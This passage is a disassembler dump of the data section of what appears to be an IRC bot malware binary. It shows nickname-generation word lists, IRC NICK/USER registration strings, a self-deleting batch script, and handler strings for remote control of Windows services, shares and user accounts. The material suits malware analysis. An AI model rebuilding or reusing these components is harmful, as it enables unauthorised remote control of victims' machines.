offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438324 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; ╛ db 42h ; B db 0 db 98h ; ≤ db 87h ; ┤ db 43h ; C db 0 db 94h ; ■ db 87h ; ┤ db 43h ; C db 0 db 90h ; ░ db 87h ; ┤ db 43h ; C db 0 db 0D4h ; т db 0C2h ; б db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: 